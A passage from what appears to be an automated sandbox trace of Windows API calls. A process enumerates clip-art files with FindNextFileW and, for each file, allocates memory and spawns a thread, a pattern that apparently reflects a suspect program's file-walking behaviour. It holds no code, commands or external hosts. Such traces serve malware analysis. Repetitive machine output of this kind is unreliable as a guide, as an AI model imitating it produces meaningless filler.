	[0276.698] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1
	[0276.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cdc
	[0276.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.700] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1
	[0276.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ce0
	[0276.702] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.703] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1
	[0276.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ce4
	[0276.705] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.705] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1
	[0276.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ce8
	[0276.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.718] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1
	[0276.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cec
	[0276.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1
	[0276.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cf0
	[0276.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.950] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1
	[0276.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cf4
	[0276.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.953] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1
	[0276.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cf8
	[0276.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.955] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1
	[0276.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cfc
	[0276.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.958] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1
	[0276.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d00
	[0276.960] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.961] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1
	[0276.961] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d04
	[0276.963] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.964] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1
	[0276.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d08
	[0276.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.967] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1
	[0276.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0c
	[0276.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.970] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1
	[0276.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d10
	[0276.971] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1
	[0276.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d14
	[0276.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.975] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1
	[0276.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d18
	[0276.977] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.977] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1
	[0276.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d1c
	[0276.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.980] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1
	[0276.981] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d20
	[0276.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.984] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1
	[0276.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d24
	[0277.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.198] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1
	[0277.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d28
	[0277.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.201] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1
	[0277.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d2c
	[0277.203] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1
	[0277.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d30
	[0277.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.205] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1
	[0277.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d34
	[0277.208] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.208] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1
	[0277.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d38
	[0277.210] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.211] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1
	[0277.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d3c
	[0277.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.214] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1
	[0277.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d40
	[0277.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.217] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1
	[0277.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d44
